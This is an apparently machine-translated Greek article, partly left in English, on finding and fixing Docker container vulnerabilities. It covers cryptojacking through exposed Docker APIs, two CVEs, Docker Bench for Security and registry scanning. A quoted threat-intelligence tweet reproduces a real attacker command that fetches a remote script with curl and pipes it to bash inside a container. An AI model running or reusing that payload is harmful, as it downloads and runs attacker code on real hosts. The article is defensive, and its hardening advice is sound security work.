Πώς να βρείτε και να διορθώσετε τις ευπάθειες κοντέινερ Docker το 2020

Το Containerization επιτρέπει στις μηχανικές ομάδες να δημιουργήσουν ένα περιβάλλον sandbox στο οποίο θα τρέχουν και θα δοκιμάζουν εφαρμογές. Τα εμπορευματοκιβώτια αποτελούνται ως επί το πλείστον από εικόνες ανοιχτού κώδικα που έχουν τραβηχτεί από το κέντρο σύνδεσης ή άλλα δημόσια αποθετήρια εικόνων.

Ωστόσο, αυτές οι εικόνες ανοιχτού κώδικα ενδέχεται μερικές φορές να περιέχουν ευπάθειες που μπορούν να θέσουν σε κίνδυνο την ασφάλεια των κοντέινερ και με τη σειρά τους τον κεντρικό υπολογιστή / διακομιστή του.

Δεδομένου ότι αυτά τα εμπορευματοκιβώτια λειτουργούν σε κεντρικό υπολογιστή, είναι πιθανό να παραβιάσετε τα εμπορευματοκιβώτια στην παραγωγή εάν παραμείνουν χωρίς προστασία.

Ένα καλό παράδειγμα τέτοιου hack είναι η επίθεση cryptojacking του Tesla σε ένα μη προστατευμένο σύμπλεγμα Kubernetes. Σε αυτήν την επίθεση, οι εισβολείς μπόρεσαν να κατεβάσουν και να εκτελέσουν ένα κακόβουλο σενάριο για την εξόρυξη κρυπτογράφησης χρησιμοποιώντας GPU που παρέχονται από το σύμπλεγμα Tesla's K8s (Kubernetes). Κατάφεραν να κρατήσουν αυτήν την επίθεση κάτω από το ραντάρ, περιορίζοντας τη χρήση της CPU στο ελάχιστο και τρέχοντας το σενάριο σε συγκεκριμένα χρονικά διαστήματα.

Κατά τη διάρκεια αυτού του άρθρου, θα ρίξουμε μια ματιά σε κοινές ευπάθειες κοντέινερ και πιθανούς τρόπους για την επίλυσή τους.

Κοινές ευπάθειες κοντέινερ και πώς να τις διορθώσετε

Τα εμπορευματοκιβώτια χρησιμοποιούνται από μηχανικούς ops για τη συσκευασία και την ανάπτυξη λογισμικού / εφαρμογής σε κλειστό και ελεγχόμενο περιβάλλον.

Σε μια προσπάθεια να αποφευχθεί η επανεφεύρεση του τροχού και να επιταχυνθεί ο χρόνος στην αγορά, τραβούν ήδη υπάρχουσες εικόνες ανοιχτού κώδικα για να ικανοποιήσουν τις εξαρτήσεις που απαιτούνται για την εκτέλεση του λογισμικού. Αυτές οι εικόνες συχνά περιέχουν ορισμένες ευπάθειες που καθιστούν ολόκληρο το κοντέινερ και τον κεντρικό υπολογιστή του ευάλωτο σε κακόβουλες επιθέσεις.

Παρακάτω αναφέρονται μερικές κοινές ευπάθειες και εκθέσεις κοντέινερ καθώς και πώς να τις μετριάσετε.

Cryptojacking

Το Cryptojacking είναι ένας τύπος επίθεσης όπου ένα κακόβουλο σενάριο χρησιμοποιείται για την κλοπή υπολογιστικών πόρων μιας συσκευής για την εξόρυξη κρυπτονομισμάτων.

Πρόσφατα, ένα ευπάθεια ανακαλύφθηκε στο Docker με την καταχώριση λεξικού CVE-2018-15664. Αυτή η ευπάθεια επιτρέπει στους εισβολείς να αποκτήσουν πρόσβαση root στον υπολογιστή του κεντρικού υπολογιστή.

Εκτός από τη δυνατότητα χρήσης των πόρων CPU και GPU του υπολογιστή του κεντρικού υπολογιστή για την εξόρυξη κρυπτογράφησης, οι εισβολείς μπορούν επίσης να κλέψουν ευαίσθητα διαπιστευτήρια, να πραγματοποιήσουν επιθέσεις DoS, να ξεκινήσουν εκστρατείες ηλεκτρονικού ψαρέματος και πολλά άλλα.

Τα κοντέινερ μπορεί να είναι ευπαθή σε κρυπτογράφηση, εάν περιέχουν κακόβουλες εικόνες που δίνουν στους εισβολείς πρόσβαση root σε ολόκληρο το κοντέινερ. Είναι επίσης ευάλωτοι εάν τα τελικά σημεία API του κοντέινερ σύνδεσης είναι δημόσια προσβάσιμα στο Διαδίκτυο χωρίς κωδικούς πρόσβασης ή τείχη προστασίας, όπως στην περίπτωση της Tesla.

Η ευκαιριακή δραστηριότητα μαζικής σάρωσης εντοπίστηκε με στόχευση εκτεθειμένων τελικών σημείων Docker API.

Αυτές οι σαρώσεις δημιουργούν ένα κοντέινερ χρησιμοποιώντας μια εικόνα Alpine Linux και εκτελούν το ωφέλιμο φορτίο μέσω:

"Command": "chroot / mnt / bin / sh -c 'curl -sL4 //t.co/q047bRPUyj | bash;'", # ancintel pic.twitter.com/vxszV5SF1o

- Αναφορά Bad Packets (@bad_packets) 25 Νοεμβρίου 2019

Κακόβουλες εικόνες ανοιχτού κώδικα

Μια ευπάθεια που καθιστά δυνατή την αντικατάσταση του runc binary του κεντρικού υπολογιστή δίνει στους εισβολείς το περιθώριο να εκτελούν εντολές με πρόσβαση root. Οι κινητήρες Docker που προηγούνται του v18.09.2 κάνουν τα κοντέινερ με εικόνες ελεγχόμενες από εισβολείς ευαίσθητα στην ευπάθεια CVE-2019-5736.

Οι μηχανικοί καλούνται όσο το δυνατόν περισσότερο να κάνουν χρήση των επίσημων εικόνων του Docker που παρέχονται από το docker. Σε τελική ανάλυση, υπάρχει ακόμη και μια ομάδα που υποστηρίζεται από το Docker, η οποία συνεργάζεται στενά με συντηρητές λογισμικού / εκδότες και ειδικούς ασφαλείας για να διασφαλίσει την ασφάλεια των επίσημων εικόνων του Docker.

Στατικά Dockerfiles

Μία από τις αρχές των δοχείων είναι ότι η εικόνα είναι αμετάβλητη. Αυτό σημαίνει ότι όταν δημιουργείται μια εικόνα, το περιεχόμενό της είναι αμετάβλητο. Αυτό από μόνο του δημιουργεί ευπάθειες που προκύπτουν από ξεπερασμένα πακέτα / βιβλιοθήκες / εικόνες που περιέχονται σε μια εικόνα.

Επομένως, είναι καλή ιδέα να ενσωματώσετε σαρωτές ευπάθειας σε διαδικασίες CI / CD, προκειμένου να εντοπίσετε ευάλωτες εικόνες κοντέινερ. Δεδομένου ότι οι εικόνες είναι αμετάβλητες, η κυκλοφορία ενός νεόκτιστου κοντέινερ με ενημερωμένες εξαρτήσεις θα βοηθήσει στον περιορισμό των τρωτών σημείων ασφαλείας, καθώς αποθαρρύνεται η διόρθωση κοντέινερ.

Πώς να βρείτε ευπάθειες κοντέινερ

Στην προηγούμενη ενότητα, ρίξαμε μια ματιά στους πιθανούς τρόπους με τους οποίους τα τρωτά σημεία μπορούν να περάσουν σε κοντέινερ.

Η εύρεση τρωτών σημείων στα εμπορευματοκιβώτια μας πριν φτάσει στην παραγωγή θα συμβάλει στην αποφυγή πιθανών παραβιάσεων ασφαλείας και θα κρατήσει μακριά τους κακόβουλους εισβολείς.

Όπως λένε - μια ουγγιά πρόληψης αξίζει ένα κιλό θεραπείας.

Σε αυτήν την ενότητα, θα ρίξουμε μια ματιά στους πιθανούς τρόπους με τους οποίους μπορείτε να μείνετε μπροστά από τις ευπάθειες του κοντέινερ.

Χρησιμοποιώντας Docker Bench για ασφάλεια

Ο πάγκος Docker για ασφάλεια είναι ένα σενάριο που ελέγχει όλα τα κοντέινερ docker στον κεντρικό υπολογιστή / διακομιστή για βέλτιστες πρακτικές για την ανάπτυξη κοντέινερ στην παραγωγή. Αυτές οι δοκιμές βασίζονται στο σημείο αναφοράς CIS docker.

Για μια δοκιμαστική εκτέλεση, μπορείτε να τραβήξετε την docker/docker-bench-securityεικόνα και να δοκιμάσετε τα υπάρχοντα δοχεία στον τοπικό υπολογιστή σας όπως:

docker run -it --net host --pid host --userns host --cap-add audit_control \ -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \ -v /etc:/etc:ro \ -v /usr/bin/docker-containerd:/usr/bin/docker-containerd:ro \ -v /usr/bin/docker-runc:/usr/bin/docker-runc:ro \ -v /usr/lib/systemd:/usr/lib/systemd:ro \ -v /var/lib:/var/lib:ro \ -v /var/run/docker.sock:/var/run/docker.sock:ro \ --label docker_bench_security \ docker/docker-bench-security

Σημείωση : αυτή η εντολή δεν λειτουργεί καλά στο OSX. Δείτε αυτό το τεύχος GitHub για λεπτομέρειες.

Σάρωση για ευπάθειες στο GCR

Τα αποθετήρια εικόνων Docker (για παράδειγμα, GCR) επιτρέπουν στους μηχανικούς να εκτελούν σάρωση ευπάθειας για εικόνες στο μητρώο κοντέινερ.

To enable vulnerability scanning in GCR (Google container registry), head over to the container registry settings on the Google cloud console and click on "enable vulnerability scanning" like so:

When a vulnerability scan is complete, you’ll see a result like in the image below if vulnerabilities exist:

Using Enterprise-Grade Solutions

There are enterprise-grade containerisation security suites which manages vulnerabilities and enforces deployment policies throughout a container's lifecycle.

In addition, this product suite also integrates seamlessly with popular CI/CD tools and container registries. This allows it to provide risk-free deployments as well as end-to-end container management from deployment to production.

Conclusion

Τα κοντέινερ επιτρέπουν στις ομάδες μηχανικής να κυκλοφορούν απρόσκοπτα το λογισμικό. Ωστόσο, αυτή η ευκολία έρχεται στο κόστος της ασφάλειας.

Υπάρχουν μερικά CVE (κοινές εκθέσεις ευπάθειας) σε κοντέινερ που έχουν καταγραφεί τα τελευταία χρόνια. Μερικά από αυτά έχουν επιλυθεί σε πρόσφατες ενημερώσεις κινητήρων με βάση τις υπόλοιπες υποσχέσεις σε μελλοντικές εκδόσεις κώδικα.

Οι τεχνικές ομάδες πρέπει να έχουν κατά νου την ασφάλεια κατά την κατασκευή και την ανάπτυξη κοντέινερ. Θα πρέπει επίσης να εφαρμόζουν πολιτικές ασφαλείας κοντέινερ στους κύκλους ζωής τους στο DevOps.